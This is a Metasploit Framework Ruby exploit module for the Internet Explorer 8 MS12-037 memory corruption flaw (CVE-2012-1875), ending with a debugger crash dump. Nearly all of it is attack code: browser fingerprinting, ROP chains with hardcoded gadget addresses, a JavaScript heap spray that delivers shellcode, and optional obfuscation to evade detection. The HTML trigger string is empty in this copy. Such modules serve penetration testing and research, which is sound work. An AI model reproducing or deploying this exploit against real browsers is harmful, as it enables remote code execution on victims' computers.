##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption",
'Description' => %q{
This module exploits a memory corruption flaw in Internet Explorer 8 when
handling objects with the same ID property. At the moment this module targets
IE8 over Windows XP SP3 and Windows 7. This module supports heap massaging
as well as the heap spray method seen in the wild (Java msvcrt71.dll).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Dark Son ', # Vulnerability discovery
'Qihoo 360 Security Center', # Vulnerability discovery
'Yichong Lin', # Vulnerability discovery
'Google Inc.', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'MSB', 'MS12-037'],
[ 'CVE', '2012-1875' ],
[ 'OSVDB', '82865'],
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/ongoing-attacks-exploiting-cve-2012-1875/'],
[ 'URL', 'https://twitter.com/binjo/status/212795802974830592' ], # Exploit found in the wild
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/06/18/metasploit-exploits-critical-microsoft-vulnerabilities']
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[
'IE 8 on Windows XP SP3 with msvcrt ROP',
{
'Rop' => :msvcrt,
'RopOffset' => '0x5f4',
'Ret' => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt.dll
}
],
[
'IE 8 on Windows XP SP3 with JRE ROP',
{
'Rop' => :jre,
'RopOffset' => '0x5f4',
'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
}
],
[
'IE 8 on Windows 7 SP1/Vista SP2 with JRE ROP',
{
'Rop' => :jre,
'RopOffset' => '0x5f4',
'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
}
],
],
'Privileged' => false,
'DisclosureDate' => "Jun 12 2012",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
# If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
# Windows XP SP3 + IE 8.0
return targets[1]
elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8\.0/
# Windows 7 SP1 + IE 8.0
# Vista SP2 + IE 8.0
return targets[3]
else
return nil
end
end
def ret(t)
case t['Rop']
when :msvcrt
return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
when :jre
return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll
end
end
def popret(t)
case t['Rop']
when :msvcrt
return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
when :jre
return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll
end
end
def get_rop_chain(t)
pivot = ret(t) * 27
pivot << popret(t)
pivot << [t.ret].pack("V") # stackpivot
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
rop = generate_rop_payload('msvcrt', '', {'target'=>'xp', 'pivot'=>pivot})
else
print_status("Using JRE ROP")
rop = generate_rop_payload('java', '', {'pivot'=>pivot})
end
return rop
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported: #{agent}")
send_not_found(cli)
return
end
print_status("Client requesting: #{request.uri}")
p = payload.encoded
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_padding = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(my_target.arch))
js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
js_spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var rop_chain = unescape("#{js_rop}");
var random = unescape("#{js_padding}");
var nops = unescape("#{js_nops}");
while (random.length < 0x80000) random += random;
while (nops.length < 0x80000) nops += nops;
var padding = random.substring(0, #{my_target['RopOffset']}-code.length);
var shellcode = code + padding + rop_chain + nops.substring(0, 0x800-code.length-padding.length-rop_chain.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var z=1; z < 0x385; z++) {
heap_obj.alloc(block);
}
JS
js_spray = heaplib(js_spray, {:noobfu => true})
trigger_f = "trigger"
feng_shui_f = "feng_shui"
crash_f = "crash"
unescape_f = "do_unescape"
main_f = "main"
a_id = "MyA"
danger_id = "imgTest"
if datastore['OBFUSCATE']
js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
js_spray.obfuscate
trigger_f = rand_text_alpha(rand(5) + 4)
feng_shui_f = rand_text_alpha(rand(5) + 4)
crash_f = rand_text_alpha(rand(5) + 4)
unescape_f = rand_text_alpha(rand(5) + 4)
main_f = rand_text_alpha(rand(5) + 4)
a_id = rand_text_alpha(rand(5) + 4)
danger_id = rand_text_alpha(rand(5) + 4)
end
html = %Q|
|
html = html.gsub(/^\t\t\t/, '')
print_status("Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
=begin
* crash
(a9c.998): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export
symbols for C:\WINDOWS\system32\mshtml.dll -
eax=1c1c1c0c ebx=00000000 ecx=02fdf588 edx=00000001 esi=02fdf588 edi=020bbaf0
eip=6363fcc6 esp=020bba88 ebp=020bba94 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!DllGetClassObject+0xafd09:
6363fcc6 8b5070 mov edx,dword ptr [eax+70h]
ds:0023:1c1c1c7c=????????
=end